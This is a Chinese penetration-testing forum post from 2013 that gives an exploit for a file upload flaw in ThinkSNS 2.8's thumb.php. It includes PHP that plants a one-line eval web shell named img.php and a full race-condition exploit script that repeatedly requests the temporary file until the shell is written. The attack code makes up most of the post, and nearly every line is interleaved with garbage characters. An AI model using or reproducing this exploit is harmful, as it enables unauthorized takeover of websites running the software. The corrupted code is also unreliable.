中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
+ p3 J! x6 i) q+ r存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 R$ D# x; @/ G! W" a" @1 G
漏洞文件
+ o# K: z7 d4 D; c存在漏洞的文件为:thumb.php
0 ~' a% `4 [! I6 Y6 ]& Z$ F5 Y作者:韦鲲鹏
+ k2 u' D& d  ^2 ?* e1、        准备如下PHP文件并上传到服务器(自己的)。1 b5 F. U5 l% H; a
文件内容如下:
. R; ?5 v6 A  @2 U- g% {, m<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
) q. d2 W- R' r2、        计算出临时的文件名:& k1 S4 B% d$ |1 M- l& X7 J
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
+ V' K/ G6 ^3 t3 D
7 n$ q5 P% B  j+ ^  N) {; _1 Z3、        上传临时文件。
' X4 E! W2 O' L- w8 [4、        访问临时文件。
* I. [! I5 N2 k8 `1 x但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 v  |3 ~/ ?& z8 }: gExploit文件内容如下:(这个我就不详细解释了)
! m2 P) ]6 a6 ^- R. u' J$ J<?php
- y3 a3 v! e+ a( ?: a1 D% |7 [+ d. ferror_reporting(0);
: |8 Q+ }' @$ ?% p# t" Dset_time_limit(0);; O5 w! J$ G$ ^$ \% D" B$ Q" f% ^& {
ini_set(“default_socket_timeout”, 5);0 ^4 h" i4 j8 g& B$ R) f
function http_send($host, $port, $headers) {* Y8 c: w! G' @; i& Y
$fp = fsockopen($host, $port);' x1 m# u% b' ~
if (!$fp) die(‘Connection -> fail’);
! W/ f$ G- \% t" y2 ufputs($fp, $headers);* x5 }% N3 z) J5 |
return $fp;
1 |% F/ H. h  M' u* a$ n9 ~+ v5 a6 N}
8 H( A( V/ C, x) Z5 ofunction http_recv($fp) {6 {, y, A7 b' ]0 G0 @
$ret=”";
/ ]9 g; [6 C/ Q, |0 e) \  f( Twhile (!feof($fp))
* V! f: J& Y; U# J( P$ret.= fgets($fp, 1024);7 s% m" y+ h3 Q$ x$ ^4 C
fclose($fp);
' m, V- _' s) y( J* W+ R+ vreturn $ret;% o6 [$ r! c- Y  ^
}
0 H  T, M6 {. b2 O* @print “\n#  ThinkSns Arbitrary File Upload   #\n”;
4 O$ N% V5 l- l5 U& V, {' sprint “# Discovered by 韦鲲鹏 #\n\n”;5 |/ a7 s8 `$ L* v; C
if ($argc < 4) {
! b7 ?+ V1 a2 A! N) Aprint “Usage:   php <host> <path> <romote_url>\n”;! [8 |, Y. {2 F
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
1 Y% }; q( d  I( t5 {4 M2 n- n" ?die();- N, n* M1 n( S) P) L# n; k3 C' E
}% ^& n2 o" C9 }
$host = $argv[1];0 m/ {4 B( J3 c
$path = $argv[2];* L  R8 A% l+ O" |# K8 m: z1 \7 e
$url = $argv[3];
- w2 Q2 w" I- V  g. }8 `2 ^7 ?$i=0;
7 G/ g* z, _4 \$ I& |" N//上传数据包4 i+ p' u/ q! S3 S  N7 m; D7 \
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;5 z$ g% `0 Y& L$ x- B( l% @" W
$headers_up .= “Host: “.$host.”\r\n”;
1 ]1 `/ c  K8 F1 T9 z$headers_up .= “Connection: close\r\n\r\n”;
" ?0 U3 Z6 ]1 F# h, E) Kecho $headers_up;; n; `+ |9 H4 q# F+ r# l9 z# e& W
//临时文件访问数据包
, W, l, ]7 ^7 c/ g2 j- O  x3 e- C: I$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
1 ~) Q1 \' b- l  E% @8 P$headers .= “Host: “.$host.”\r\n”;7 T! u/ T0 g6 @: O2 J* T3 u
$headers .= “Connection: close\r\n\r\n”;
8 v- Z  m8 ?/ s+ B1 A9 Aecho $headers;
+ B7 _+ \' Z% ?while(++$i<10) {
* P. P0 w% {/ n4 Y2 k' D* gfclose(http_send($host, 80, $headers));! b  Z& e9 U! `/ |# Z
}5 v7 m5 H2 Q( T; u( W0 J
fclose(http_send($host, 80, $headers_up));) Z' r' H; Z6 b  P5 Z( C7 g
while(++$i<50) {& O( f6 W. _/ n+ O$ j& M
fclose(http_send($host, 80, $headers));8 r6 I2 I0 P+ a4 @9 R8 `
}
7 P" D  S3 Q& w% Y. P% C8 ?* ~$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
' ~' n$ B1 S" N$headers .= “Host: “.$host.”\r\n”;. ?7 Z. z  @( m$ c8 c
$headers .= “Connection: close\r\n\r\n”;
8 r( A$ y/ H  b0 ?/ F3 E$res=http_recv(http_send($host, 80, $headers));. K3 U. e3 n6 k& h0 v8 @( F( A
if(preg_match(‘/200 OK/’,$res)) {& @8 q  `0 C. Z, H  v% x
print “Success!\n\n”;
0 i, p5 |5 ~% D% B# t. E- E4 k} else {
* u; A7 j5 }, Q, a5 Y4 _print “Fail!\n\n”;
$ n& x" k" N# Q8 e& H}; r0 s' @  X$ x0 [1 O0 f
?>3 u" N5 b: J, F' \! x2 j8 ^
​




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2